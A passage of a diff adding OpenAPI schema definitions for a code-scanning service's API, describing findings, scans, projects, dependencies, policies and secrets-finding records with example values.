+ enabled:
+ description: When true, diff-aware scans are enabled for the project.
+ type: boolean
+ type: object
+ protos.openapi.v1.EndpointReference:
+ properties:
+ url:
+ description: URL that the reference is pointing to.
+ example: https://semgrep.dev/api/v1/deployments/123/findings
+ type: string
+ required:
+ - url
+ title: Endpoint Reference
+ type: object
+ protos.openapi.v1.ExternalTicket:
+ description: External ticket associated with finding
+ properties:
+ externalSlug:
+ description: Identifier of the external ticket
+ example: OPS-158
+ type: string
+ id:
+ description: External ticket id
+ format: uint32
+ type: integer
+ linkedIssueIds:
+ description: Semgrep issue ids that are linked to this external ticket
+ items:
+ format: uint32
+ type: integer
+ type: array
+ url:
+ description: URL of the external ticket
+ type: string
+ title: External Ticket
+ type: object
+ protos.openapi.v1.FindingLocation:
+ description: Location of the record in a file, as reported by Semgrep. If null,
+ then the information does not exist or lacks integrity (older or broken scans)
+ properties:
+ column:
+ description: Column at which the target starts
+ example: 8
+ format: uint32
+ type: integer
+ endColumn:
+ description: Column at which the target ends
+ example: 16
+ format: uint32
+ type: integer
+ endLine:
+ description: Line at which the target ends
+ example: 124
+ format: uint32
+ type: integer
+ filePath:
+ description: File path of the relevant line and column numbers
+ example: frontend/src/corpComponents/Code.tsx
+ type: string
+ line:
+ description: Line at which the target starts
+ example: 120
+ format: uint32
+ type: integer
+ title: Finding Location
+ type: object
+ protos.openapi.v1.FindingRepository:
+ description: Which repository this finding was identified in
+ properties:
+ name:
+ description: The repository or named project that the finding is associated
+ with
+ example: semgrep
+ type: string
+ url:
+ description: The source URL from which this repository last scanned
+ example: https://github.com/semgrep/semgrep
+ type: string
+ title: Finding Repository
+ type: object
+ protos.openapi.v1.FindingRule:
+ description: Rule that applies to this finding
+ properties:
+ category:
+ description: Category the rule is associated with
+ example: security
+ type: string
+ confidence:
+ description: Confidence level of the rule
+ enum:
+ - low
+ - medium
+ - high
+ example: high
+ type: string
+ cweNames:
+ description: CWE names associated with the rule
+ example:
+ - 'CWE-319: Cleartext Transmission of Sensitive Information'
+ items:
+ type: string
+ type: array
+ message:
+ description: Rule message
+ example: This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS
+ URL if possible.
+ type: string
+ name:
+ description: Name of the rule
+ example: html.security.plaintext-http-link.plaintext-http-link
+ type: string
+ owaspNames:
+ description: OWASP names associated with the rule
+ example:
+ - A03:2017 - Sensitive Data Exposure
+ - A02:2021 - Cryptographic Failures
+ items:
+ type: string
+ type: array
+ subcategories:
+ description: Subcategories of the rule
+ example:
+ - vuln
+ items:
+ type: string
+ type: array
+ vulnerabilityClasses:
+ description: Vulnerability classes the rule is associated with
+ example:
+ - Mishandled Sensitive Information
+ items:
+ type: string
+ type: array
+ title: Finding Rule
+ type: object
+ protos.openapi.v1.FullScan:
+ properties:
+ enabled:
+ description: When true, weekly full scans are enabled.
+ type: boolean
+ type: object
+ protos.openapi.v1.GetBootstrapSmsVpcResponse:
+ properties:
+ AWSTemplateFormatVersion:
+ description: The AWSTemplateFormatVersion that the template conforms to
+ type: string
+ Description:
+ description: Template description
+ type: string
+ Metadata:
+ description: Template metadata including version and last updated date
+ type: object
+ Outputs:
+ description: Output values of the stack
+ type: object
+ Parameters:
+ description: Template parameters
+ type: object
+ Resources:
+ description: Declaration of AWS resources
+ type: object
+ type: object
+ protos.openapi.v1.GetProjectResponse:
+ description: Successfully retrieved details for the project.
+ properties:
+ project:
+ $ref: '#/components/schemas/protos.openapi.v1.Project'
+ required:
+ - projects
+ title: Get Project Response
+ type: object
+ protos.openapi.v1.GetSbomExportResponse:
+ properties:
+ downloadUrl:
+ description: URL to download the SBOM when status is COMPLETED.
+ type: string
+ errorMessage:
+ description: Error message when status is FAILED.
+ type: string
+ status:
+ description: 'Status of the SBOM export job.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SBOM_EXPORT_STATUS_IN_PROGRESS | The SBOM export job is in progress.
+ |
+
+ | SBOM_EXPORT_STATUS_COMPLETED | The SBOM export job has completed. |
+
+ | SBOM_EXPORT_STATUS_FAILED | The SBOM export job has failed. |
+
+
+ '
+ enum:
+ - SBOM_EXPORT_STATUS_IN_PROGRESS
+ - SBOM_EXPORT_STATUS_COMPLETED
+ - SBOM_EXPORT_STATUS_FAILED
+ format: enum
+ type: string
+ required:
+ - status
+ title: Get Sbom Export Response
+ type: object
+ protos.openapi.v1.GetScanResponse:
+ properties:
+ completed_at:
+ description: imestamp of when the scan started.
+ example: 2023-11-18 23:28:12.391807+00:00
+ type: string
+ deployment_id:
+ description: The unique ID of the deployment associated with the scanned
+ repository.
+ example: 120
+ format: uint32
+ type: integer
+ enabled_products:
+ description: The products used when running the scan.
+ example:
+ - secrets
+ items:
+ type: string
+ type: array
+ exit_code:
+ format: uint32
+ type: integer
+ has_logs:
+ type: boolean
+ id:
+ description: The unique ID representing this scan.
+ example: 123
+ format: uint32
+ type: integer
+ meta:
+ $ref: '#/components/schemas/protos.openapi.v1.GetScanResponse_ScanMeta'
+ repository_id:
+ description: The unique ID of the repository that was scanned.
+ example: 1234567
+ format: uint32
+ type: integer
+ started_at:
+ description: when the scan was started
+ example: 2023-11-18 23:28:12.391807+00:00
+ type: string
+ stats:
+ description: Miscellaneous statistics about the scan, like number of findings
+ found and scan duration.
+ example:
+ findings: 5
+ total_time: 100
+ type: object
+ type: object
+ protos.openapi.v1.GetScanResponse_ScanMeta:
+ properties:
+ true:
+ description: What triggered this scan, if applicable.
+ example: pull_request
+ type: string
+ branch:
+ description: The branch that was scanned, if applicable.
+ example: refs/heads/main
+ type: string
+ commit:
+ description: The commit SHA associated with the scan, if applicable.
+ example: 94c5be1312a9da03b7c4bfcc1c50b4379c83412
+ type: string
+ config:
+ description: The path of the configuration file used for this scan, if applicable.
+ example: r/python
+ type: string
+ repo_url:
+ description: The URL of the scanned repository, if applicable.
+ example: https://github.com/semgrep/semgrep
+ type: string
+ ci_job_url:
+ description: The URL of the CI job that ran the scan, if applicable.
+ example: https://github.com/semgrep/semgrep/actions/runs/12345
+ type: string
+ repository:
+ description: The name and organization of the scanned repository, if applicable.
+ example: semgrep/semgrep
+ type: string
+ commit_title:
+ description: The commit message associated with the scan, if applicable.
+ example:
+ fix(feature): Added XYZ component
+ type: string
+ pull_request_id:
+ description: The ID of the pull request associated with the scan, if applicable.
+ example: 12345
+ type: string
+ pull_request_title:
+ description: The title of the pull request associated with the scan if applicable.
+ example:
+ fix(feature): Added XYZ component
+ type: string
+ commit_author_name:
+ description: The name of the author of the commit associated with the scan,
+ if applicable.
+ example: Sven Greppe
+ type: string
+ commit_author_image_url:
+ description: The avatar image url of the author of the commit associated
+ with the scan, if applicable.
+ example: https://github.com/link/to/avatar.png
+ type: string
+ commit_author_email:
+ description: The email of the author of the commit associated with the scan,
+ if applicable.
+ example: sven.greppe@semgrep.com
+ type: string
+ commit_author_username:
+ description: The username of the author of the commit associated with the
+ scan, if applicable.
+ example: SvenGreppe
+ type: string
+ pull_request_author_username:
+ description: The username of the author of the pull request associated with
+ the scan, if applicable.
+ example: SvenGreppe
+ type: string
+ pull_request_author_image_url:
+ description: The avatar image url of the author of the pull request associated
+ with the scan, if applicable.
+ example: https://github.com/link/to/avatar.png
+ type: string
+ type: object
+ protos.openapi.v1.ListDependenciesRequest:
+ properties:
+ cursor:
+ description: Cursor to paginate through the dependencies. Provide a cursor
+ value from the response to retrieve the next page.
+ format: uint64
+ type: string
+ dependencyFilter:
+ $ref: '#/components/schemas/protos.sca.v1.DependencyFilter'
+ deploymentId:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ pageSize:
+ description: 'Number of dependencies per page. Default: 1000, min: 1, max:
+ 10000.'
+ example: 1000
+ format: int64
+ maximum: 10000.0
+ minimum: 1.0
+ type: integer
+ required:
+ - deployment_id
+ title: List Dependencies Request
+ type: object
+ protos.openapi.v1.ListDependenciesResponse:
+ properties:
+ cursor:
+ description: Pass to next request to get next page of results.
+ format: uint64
+ type: string
+ dependencies:
+ description: List of dependencies.
+ example:
+ - id: '1'
+ name: dependency1
+ version: 1.0.0
+ - id: '2'
+ name: dependency2
+ version: 2.0.0
+ items:
+ $ref: '#/components/schemas/protos.sca.v1.FoundDependency'
+ type: array
+ hasMore:
+ description: True if there are more dependencies to get.
+ type: boolean
+ required:
+ - dependencies
+ - has_more
+ title: List Dependencies Response
+ type: object
+ protos.openapi.v1.ListDeploymentsResponse:
+ properties:
+ deployments:
+ description: Return the deployment the supplied token can access.
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.Deployment'
+ type: array
+ type: object
+ protos.openapi.v1.ListFindingsResponse:
+ description: Response containing a paginated list of findings (either Code or
+ Supply Chain findings) with optional filtering applied
+ properties:
+ sastFindings:
+ $ref: '#/components/schemas/protos.openapi.v1.ListFindingsResponse_SastFindings'
+ scaFindings:
+ $ref: '#/components/schemas/protos.openapi.v1.ListFindingsResponse_ScaFindings'
+ title: List Findings Response
+ type: object
+ protos.openapi.v1.ListFindingsResponse_SastFindings:
+ description: A list of Code findings that Semgrep has identified in your organization
+ properties:
+ findings:
+ description: A list of Code findings.
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.SastFinding'
+ type: array
+ title: Sast Findings
+ type: object
+ protos.openapi.v1.ListFindingsResponse_ScaFindings:
+ description: A list of Supply Chain findings that Semgrep has identified in
+ your organization
+ properties:
+ findings:
+ description: A list of Supply Chain findings.
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.ScaFinding'
+ type: array
+ title: Sca Findings
+ type: object
+ protos.openapi.v1.ListLockfilesForDependenciesRequest:
+ properties:
+ cursor:
+ description: Use cursor in response to get next page of results.
+ type: string
+ dependencyFilter:
+ $ref: '#/components/schemas/protos.sca.v1.DependencyFilter'
+ deploymentId:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ format: uint64
+ type: string
+ pageSize:
+ default: 5.0
+ description: 'Number of repositories per page. Default: 5, min: 1, max:
+ 100.'
+ example: 100
+ format: uint32
+ maximum: 100.0
+ minimum: 1.0
+ type: integer
+ repositoryId:
+ description: Repository ID to filter by. Use Projects endpoints to retrieve
+ repository IDs.
+ format: uint64
+ type: string
+ required:
+ - deployment_id
+ - repository_id
+ title: List Lockfiles For Dependencies Request
+ type: object
+ protos.openapi.v1.ListLockfilesForDependenciesResponse:
+ properties:
+ cursor:
+ description: Pass to next request to get next page of results.
+ type: string
+ hasMore:
+ description: True if there are more lockfiles to get.
+ type: boolean
+ lockfileSummaries:
+ description: List of lockfiles.
+ items:
+ $ref: '#/components/schemas/protos.sca.v1.LockfileDependencySummary'
+ type: array
+ required:
+ - has_more
+ - lockfile_summaries
+ title: List Lockfiles For Dependencies Response
+ type: object
+ protos.openapi.v1.ListPoliciesResponse:
+ properties:
+ policies:
+ description: List of Policies associated with the given Deployment.
+ example:
+ - id: '1'
+ isDefault: true
+ name: Global Policy
+ productType: PRODUCT_TYPE_SAST
+ slug: global_policy
+ - id: '2'
+ isDefault: false
+ name: Semgrep test
+ productType: PRODUCT_TYPE_SAST
+ slug: semgrep_test
+ - id: '3'
+ isDefault: true
+ name: Global Secrets Policy
+ productType: PRODUCT_TYPE_SECRETS
+ slug: global_secrets_policy
+ items:
+ $ref: '#/components/schemas/protos.common.v1.Policy'
+ type: array
+ type: object
+ protos.openapi.v1.ListPolicyRulesResponse:
+ properties:
+ cursor:
+ description: Cursor to paginate through the rules.
+ example: Pm0ROjIwMjQtMDItMDYgMjA6MDQ6NDguMEDzNzk2fmk6NYTM2zUxOTI
+ type: string
+ policy:
+ $ref: '#/components/schemas/protos.common.v1.Policy'
+ rules:
+ description: List of Rules for the given Policy.
+ example:
+ - category: security
+ confidence: CONFIDENCE_HIGH
+ cweCategories:
+ - 'CWE-918: Server-Side Request Forgery (SSRF)'
+ id: '1'
+ languages:
+ - python
+ lastChangeAt: '2024-07-29T22:33:37.380293Z'
+ owaspCategories:
+ - 'A07: Cross-Site Scripting (XSS)'
+ path: python.rule.1
+ policyMode: MODE_MONITOR
+ registryMaintainer: semgrep
+ rulesets: []
+ severity: SEVERITY_HIGH
+ source: SOURCE_COMMUNITY
+ technologies:
+ - django
+ - flask
+ url: https://semgrep.com/r/123/python.rule.1
+ vulnerabilityClass:
+ - Improper Authentication
+ - category: security
+ confidence: CONFIDENCE_HIGH
+ cweCategories:
+ - 'CWE-918: Server-Side Request Forgery (SSRF)'
+ id: '2'
+ languages:
+ - python
+ lastChangeAt: '2024-07-29T22:33:37.380293Z'
+ owaspCategories:
+ - A01:2021 - Broken Access Control
+ - 'A07: Cross-Site Scripting (XSS)'
+ path: python.rule.shared
+ policyMode: MODE_COMMENT
+ registryMaintainer: semgrep
+ rulesets:
+ - comment
+ - default
+ severity: SEVERITY_MEDIUM
+ source: SOURCE_PRO
+ technologies:
+ - django
+ - flask
+ url: https://semgrep.com/r/123/python.rule.shared
+ vulnerabilityClass:
+ - Improper Authentication
+ - category: best-practice
+ confidence: CONFIDENCE_HIGH
+ cweCategories: []
+ id: '3'
+ languages:
+ - python
+ lastChangeAt: '2024-07-29T22:33:37.380293Z'
+ lastChangeBy: example-user
+ owaspCategories: []
+ path: python.rule.custom_rule
+ policyMode: MODE_BLOCK
+ registryMaintainer: semgrep
+ rulesets: []
+ severity: SEVERITY_MEDIUM
+ source: SOURCE_CUSTOM
+ technologies:
+ - django
+ - flask
+ url: https://semgrep.com/r/123/python.rule.custom_rule
+ vulnerabilityClass:
+ - Improper Authentication
+ items:
+ $ref: '#/components/schemas/protos.common.v1.Rule'
+ type: array
+ type: object
+ protos.openapi.v1.ListProject:
+ description: A project in your organization that uses Semgrep.
+ properties:
+ created_at:
+ description: Time when this project was created.
+ example: 2020-11-18 23:28:12.391807+00:00
+ type: string
+ default_branch:
+ description: The default branch in the SCM.
+ example: refs/heads/main
+ type: string
+ id:
+ description: Unique ID of this project.
+ example: 1234567
+ format: uint32
+ type: number
+ latest_scan_at:
+ description: Time of latest scan, if there is one.
+ example: 2023-01-13 20:51:51.449081+00:00
+ type: string
+ name:
+ description: Name of the project.
+ example: returntocorp/semgrep
+ type: string
+ primary_branch:
+ description: The primary branch of the project, if known.
+ example: refs/heads/custom-main
+ type: string
+ tags:
+ description: Tags associated to this project.
+ example:
+ - tag
+ items:
+ type: string
+ type: string
+ url:
+ description: URL of the project, if there is one.
+ example: https://github.com/returntocorp/semgrep
+ type: string
+ required:
+ - id
+ - name
+ - tags
+ title: Project
+ type: object
+ protos.openapi.v1.ListProjectsResponse:
+ description: Return the list of projects in an organization.
+ properties:
+ projects:
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.ListProject'
+ type: array
+ required:
+ - projects
+ title: List Projects Response
+ type: object
+ protos.openapi.v1.ListRepositoriesForDependenciesRequest:
+ properties:
+ cursor:
+ description: Use cursor in response to get next page of results.
+ format: uint32
+ type: number
+ dependencyFilter:
+ $ref: '#/components/schemas/protos.sca.v1.DependencyFilter'
+ deploymentId:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ format: uint64
+ type: string
+ pageSize:
+ default: 5.0
+ description: 'Number of repositories per page. Default: 5, min: 1, max:
+ 100.'
+ example: 100
+ format: uint32
+ maximum: 100.0
+ minimum: 1.0
+ type: number
+ required:
+ - deployment_id
+ title: List Repositories For Dependencies Request
+ type: object
+ protos.openapi.v1.ListRepositoriesForDependenciesResponse:
+ properties:
+ cursor:
+ description: Pass to next request to get next page of results.
+ format: uint32
+ type: number
+ hasMore:
+ description: True if there are more repositories to get.
+ type: boolean
+ repositorySummaries:
+ description: List of repositories.
+ items:
+ $ref: '#/components/schemas/protos.sca.v1.RepositoryDependencySummary'
+ type: array
+ required:
+ - has_more
+ - repository_summaries
+ title: List Repositories For Dependencies Response
+ type: object
+ protos.openapi.v1.ListSecretsPathResponse:
+ properties:
+ cursor:
+ description: Cursor to paginate through the results.
+ type: string
+ findings:
+ description: List of Secrets associated with the given Deployment.
+ example:
+ cursor: Pm0ROjIwMjQtMDItMDYgMjA6MDQ6NDguMEDzNzk2fmk6NYTM2zUxOTI=
+ findings:
+ - confidence: CONFIDENCE_HIGH
+ createdAt: '2024-06-17T17:23:01.901204Z'
+ findingPath: src/ai.py:232
+ findingPathUrl: https://github.com/foo/bar/blob/6ad16b240d4b6ae5bd6e326dd71053c21344e311/src/ai.py#L232
+ id: '691234'
+ mode: MODE_MONITOR
+ ref: refs/pull/148/merge
+ refUrl: https://github.com/foo/bar/pull/148
+ repository:
+ name: foo/bar
+ scmType: SCM_TYPE_GITHUB
+ url: https://github.com/foo/bar
+ visibility: REPOSITORY_VISIBILITY_PRIVATE
+ reviewComments:
+ - externalDiscussionId: af0433345acfb74c8f9
+ externalNoteId: '5678'
+ ruleHashId: lBU41LA
+ severity: SEVERITY_HIGH
+ status: FINDING_STATUS_FIXED
+ type: OpenAI
+ updatedAt: '2024-06-20T17:33:00.669343Z'
+ validationState: VALIDATION_STATE_CONFIRMED_VALID
+ - confidence: CONFIDENCE_MEDIUM
+ createdAt: '2024-06-08T11:01:23.380293Z'
+ findingPath: config.yaml:801
+ findingPathUrl: https://github.com/foo/baz/blob/e2b6d5ca75d830e10f5f617481a66a981bd093c0/config.yaml#L801
+ id: '6881234'
+ mode: MODE_COMMENT
+ ref: develop
+ refUrl: https://github.com/foo/baz/tree/develop
+ repository:
+ name: foo/baz
+ scmType: SCM_TYPE_GITHUB
+ url: https://github.com/foo/baz
+ visibility: REPOSITORY_VISIBILITY_PRIVATE
+ reviewComments:
+ - externalDiscussionId: af0476223423b74c8f9
+ externalNoteId: '6789'
+ ruleHashId: pKUYdA
+ severity: SEVERITY_HIGH
+ status: FINDING_STATUS_IGNORED
+ type: Heroku
+ updatedAt: '2024-06-22T11:07:02.384500Z'
+ validationState: VALIDATION_STATE_CONFIRMED_INVALID
+ items:
+ $ref: '#/components/schemas/protos.secrets.v1.SecretsFinding'
+ type: array
+ previous:
+ description: Cursor to paginate backwards through the results.
+ type: string
+ type: object
+ protos.openapi.v1.ManagedScanConfig:
+ description: '[Beta] Configuration of Semgrep Managed Scans for the project,
+ if relevant.'
+ properties:
+ diff_scan:
+ $ref: '#/components/schemas/protos.openapi.v1.DiffScan'
+ full_scan:
+ $ref: '#/components/schemas/protos.openapi.v1.FullScan'
+ title: Managed Scan Config
+ type: object
+ protos.openapi.v1.PingResponse:
+ description: OK
+ properties: {}
+ title: Ping Response
+ type: object
+ protos.openapi.v1.Project:
+ description: A project in your organization that uses Semgrep.
+ properties:
+ created_at:
+ description: Time when this project was created.
+ example: 2020-11-18 23:28:12.391807+00:00
+ type: string
+ default_branch:
+ description: The default branch in the SCM.
+ example: refs/heads/main
+ type: string
+ id:
+ description: Unique ID of this project.
+ example: 1234567
+ format: uint32
+ type: number
+ latest_scan_at:
+ description: Time of latest scan, if there is one.
+ example: 2023-01-13 20:51:51.449081+00:00
+ type: string
+ managed_scan_config:
+ $ref: '#/components/schemas/protos.openapi.v1.ManagedScanConfig'
+ name:
+ description: Name of the project.
+ example: returntocorp/semgrep
+ type: string
+ primary_branch:
+ description: The primary branch of the project, if known.
+ example: refs/heads/custom-main
+ type: string
+ tags:
+ description: Tags associated to this project.
+ example:
+ - tag
+ items:
+ type: string
+ type: string
+ url:
+ description: URL of the project, if there is one.
+ example: https://github.com/returntocorp/semgrep
+ type: string
+ required:
+ - id
+ - name
+ - tags
+ title: Project
+ type: object
+ protos.openapi.v1.ReviewComment:
+ description: External review comment information associated with a finding
+ properties:
+ externalDiscussionId:
+ description: External ID of the review comment or discussion thread
+ example: af04762b69acfb74c8f9
+ type: string
+ externalNoteId:
+ description: External ID of the specific note in the review comment discussion
+ thread. Only applicable for GitLab.com, GitLab Self-Managed and Azure
+ DevOps
+ example: 123523
+ type: string
+ title: Review Comment
+ type: object
+ protos.openapi.v1.SastFinding:
+ description: A Code finding that Semgrep has identified in your organization
+ properties:
+ assistant:
+ $ref: '#/components/schemas/protos.openapi.v1.SastFinding_Assistant'
+ categories:
+ description: The categories of the finding as classified by the associated
+ rule metadata
+ example:
+ - security
+ items:
+ type: string
+ type: array
+ click_to_fix_failures:
+ description: Failed PR creation attempts by Semgrep's autofix feature (Click
+ to Fix) for this finding
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.SastFinding_ClickToFixFailure'
+ type: array
+ click_to_fix_prs:
+ description: Pull requests created by Semgrep's autofix feature (Click to
+ Fix) for this finding
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.SastFinding_ClickToFixPr'
+ type: array
+ confidence:
+ description: Confidence of the finding, derived from the rule that triggered
+ it
+ enum:
+ - low
+ - medium
+ - high
+ example: medium
+ type: string
+ created_at:
+ description: The timestamp when this finding was created
+ example: 2020-11-18 23:28:12.391807+00:00
+ type: string
+ external_ticket:
+ $ref: '#/components/schemas/protos.openapi.v1.ExternalTicket'
+ first_seen_scan_id:
+ description: Unique ID of the Semgrep scan that first identified this finding
+ example: 1234
+ format: uint32
+ type: integer
+ id:
+ description: Unique ID of this finding
+ example: 1234567
+ format: uint32
+ type: integer
+ line_of_code_url:
+ description: The source URL including file and line number
+ example: https://github.com/semgrep/semgrep/blob/39f95450a7d4d70e54c9edbd109bed8210a36889/src/core_cli/Core_CLI.ml#L1
+ type: string
+ location:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingLocation'
+ match_based_id:
+ description: ID calculated based on a finding's file path, rule identifier
+ and pattern, and index
+ example: 0f8c79a6f7e0ff2f908ff5bc366ae1548465069bae8892088051e1c3b4b12c6b8df37d5bcbb181eb868aa79f81f239d14bf2336d552786ab8ccdc7279adf07a6_1
+ type: string
+ ref:
+ description: External reference to the source of this finding (e.g. PR)
+ example: refs/pull/1234/merge
+ type: string
+ relevant_since:
+ description: The timestamp when this finding was detected by Semgrep (the
+ first time, or when reintroduced)
+ example: 2020-11-18 23:28:12.391807+00:00
+ type: string
+ repository:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingRepository'
+ review_comments:
+ description: List of external review comment information associated with
+ a finding
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.ReviewComment'
+ type: array
+ rule:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingRule'
+ rule_message:
+ description: Deprecated in favor of rule.message. Rule message at the time
+ of finding identification. Older findings may not have a value for this
+ field
+ example: null
+ type: string
+ rule_name:
+ description: Deprecated in favor of rule.name
+ example: typescript.react.security.audit.react-no-refs.react-no-refs
+ type: string
+ severity:
+ description: Severity of the finding, derived from the rule that triggered
+ it. Low is equivalent to INFO, Medium to WARNING, and High to ERROR
+ enum:
+ - low
+ - medium
+ - high
+ - critical
+ example: medium
+ type: string
+ sourcing_policy:
+ $ref: '#/components/schemas/protos.openapi.v1.SastFinding_PolicyReference'
+ state:
+ description: The finding's resolution state. Managed only by changes detected
+ at scan time, the `state` is combined with `triage_state` to ultimately
+ determine a final `status` which is exposed in the UI and API
+ enum:
+ - fixed
+ - muted
+ - removed
+ - unresolved
+ example: unresolved
+ type: string
+ state_updated_at:
+ description: When this issue's `state` (resolution state) was last updated,
+ as distinct from when the issue was triaged (`triaged_at`)
+ example: 2020-11-19 23:28:12.391807+00:00
+ type: string
+ status:
+ description: The finding's status as exposed in the UI. Status is a derived
+ property combining information from the finding `state` and `triage_state`.
+ The `triage_state` can be used to override the scan state if the finding
+ is still detected
+ enum:
+ - open
+ - fixed
+ - ignored
+ - reviewing
+ - fixing
+ - provisionally_ignored
+ example: open
+ type: string
+ syntactic_id:
+ description: ID calculated based on a finding's file path, rule identifier
+ and matched code, and index. Prefer `match_based_id`
+ example: 440eeface888e78afceac3dc7d4cc2cf
+ type: string
+ triage_comment:
+ description: The detailed comment provided during triage
+ example: This finding is from the test repo
+ type: string
+ triage_reason:
+ description: Reason provided when this issue was triaged
+ enum:
+ - acceptable_risk
+ - false_positive
+ - no_time
+ example: acceptable_risk
+ type: string
+ triage_state:
+ description: 'The finding''s triage state. Note: "reviewing" and "fixing"
+ are only in private beta. Set by the user and used along with state to
+ generate the final "status" viewable in the UI'
+ enum:
+ - untriaged
+ - ignored
+ - reopened
+ - reviewing
+ - fixing
+ - provisionally_ignored
+ example: untriaged
+ type: string
+ triaged_at:
+ description: When the finding was triaged
+ example: 2020-11-19 23:28:12.391807+00:00
+ type: string
+ title: Sast Finding
+ type: object
+ protos.openapi.v1.SastFinding_Assistant:
+ description: Semgrep Assistant data. Only present if Assistant is enabled
+ properties:
+ autofix:
+ $ref: '#/components/schemas/protos.openapi.v1.Assistant_Autofix'
+ autotriage:
+ $ref: '#/components/schemas/protos.openapi.v1.Assistant_Autotriage'
+ component:
+ $ref: '#/components/schemas/protos.openapi.v1.Assistant_Component'
+ guidance:
+ $ref: '#/components/schemas/protos.openapi.v1.Assistant_Guidance'
+ rule_explanation:
+ $ref: '#/components/schemas/protos.openapi.v1.Assistant_RuleExplanation'
+ title: Assistant
+ type: object
+ protos.openapi.v1.SastFinding_ClickToFixFailure:
+ description: A failed PR creation attempt by Semgrep's Click to Fix feature
+ properties:
+ created_at:
+ description: When this failure occurred
+ example: 2024-01-15 10:30:00+00:00
+ type: string
+ reason:
+ description: Reason for the PR creation failure
+ example: merge conflict in target branch
+ type: string
+ title: Click To Fix Failure
+ type: object
+ protos.openapi.v1.SastFinding_ClickToFixPr:
+ description: A pull request created by Semgrep's Click to Fix feature
+ properties:
+ created_at:
+ description: When this PR was created
+ example: 2024-01-15 10:30:00+00:00
+ type: string
+ url:
+ description: URL of the pull request
+ example: https://github.com/myorg/myrepo/pull/123
+ type: string
+ title: Click To Fix Pr
+ type: object
+ protos.openapi.v1.SastFinding_PolicyReference:
+ description: Reference to a policy, with some basic information. If null, then
+ the information does not exist or lacks integrity (older or broken scans)
+ properties:
+ id:
+ description: Unique numerical identifier of the policy
+ example: 120
+ format: uint32
+ type: integer
+ name:
+ description: Human readable name
+ example: Default Policy
+ type: string
+ slug:
+ description: Sanitized machine-readable name
+ example: default-policy
+ type: string
+ title: Policy Reference
+ type: object
+ protos.openapi.v1.ScaFinding:
+ description: A Supply Chain finding that Semgrep has identified in your organization
+ properties:
+ categories:
+ description: The categories of the finding as classified by the associated
+ rule metadata
+ example:
+ - security
+ items:
+ type: string
+ type: array
+ confidence:
+ description: Confidence of the finding, derived from the rule that triggered
+ it
+ enum:
+ - low
+ - medium
+ - high
+ example: medium
+ type: string
+ created_at:
+ description: The timestamp when this finding was created
+ example: 2020-11-18 23:28:12.391807+00:00
+ type: string
+ epss_score:
+ $ref: '#/components/schemas/protos.openapi.v1.ScaFinding_EpssScore'
+ external_ticket:
+ $ref: '#/components/schemas/protos.openapi.v1.ExternalTicket'
+ first_seen_scan_id:
+ description: Unique ID of the Semgrep scan that first identified this finding
+ example: 1234
+ format: uint32
+ type: integer
+ fix_recommendations:
+ description: Recommendations for fixing the vulnerability
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.ScaFinding_FixRecommendation'
+ type: array
+ found_dependency:
+ $ref: '#/components/schemas/protos.openapi.v1.ScaFinding_FoundDependency'
+ id:
+ description: Unique ID of this finding
+ example: 1234567
+ format: uint32
+ type: integer
+ is_malicious:
+ description: True if the finding is from a malicious dependency
+ example: true
+ type: boolean
+ line_of_code_url:
+ description: The source URL including file and line number
+ example: https://github.com/semgrep/semgrep/blob/39f95450a7d4d70e54c9edbd109bed8210a36889/src/core_cli/Core_CLI.ml#L1
+ type: string
+ location:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingLocation'
+ match_based_id:
+ description: ID calculated based on a finding's file path, rule identifier
+ and pattern, and index
+ example: 0f8c79a6f7e0ff2f908ff5bc366ae1548465069bae8892088051e1c3b4b12c6b8df37d5bcbb181eb868aa79f81f239d14bf2336d552786ab8ccdc7279adf07a6_1
+ type: string
+ reachability:
+ description: Indicates whether the vulnerable code is reachable
+ enum:
+ - no reachability analysis
+ - reachable
+ - always reachable
+ - conditionally reachable
+ - unreachable
+ example: reachable
+ type: string
+ reachable_condition:
+ description: Description of the condition under which the vulnerability
+ becomes reachable. Applies to conditionally reachable findings
+ example: you use the package on a host running Linux or MacOS
+ type: string
+ ref:
+ description: External reference to the source of this finding (e.g. PR)
+ example: refs/pull/1234/merge
+ type: string
+ relevant_since:
+ description: The timestamp when this finding was detected by Semgrep (the
+ first time, or when reintroduced)
+ example: 2020-11-18 23:28:12.391807+00:00
+ type: string
+ repository:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingRepository'
+ review_comments:
+ description: List of external review comment information associated with
+ a finding
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.ReviewComment'
+ type: array
+ rule:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingRule'
+ rule_message:
+ description: Deprecated in favor of rule.message. Rule message at the time
+ of finding identification. Older findings may not have a value for this
+ field
+ example: null
+ type: string
+ rule_name:
+ description: Deprecated in favor of rule.name
+ example: typescript.react.security.audit.react-no-refs.react-no-refs
+ type: string
+ severity:
+ description: Severity of the finding, derived from the rule that triggered
+ it. Low is equivalent to INFO, Medium to WARNING, and High to ERROR
+ enum:
+ - low
+ - medium
+ - high
+ - critical
+ example: medium
+ type: string
+ state:
+ description: The finding's resolution state. Managed only by changes detected
+ at scan time, the `state` is combined with `triage_state` to ultimately
+ determine a final `status` which is exposed in the UI and API
+ enum:
+ - fixed
+ - muted
+ - removed
+ - unresolved
+ example: unresolved
+ type: string
+ state_updated_at:
+ description: When this issue's `state` (resolution state) was last updated,
+ as distinct from when the issue was triaged (`triaged_at`)
+ example: 2020-11-19 23:28:12.391807+00:00
+ type: string
+ status:
+ description: The finding's status as exposed in the UI. Status is a derived
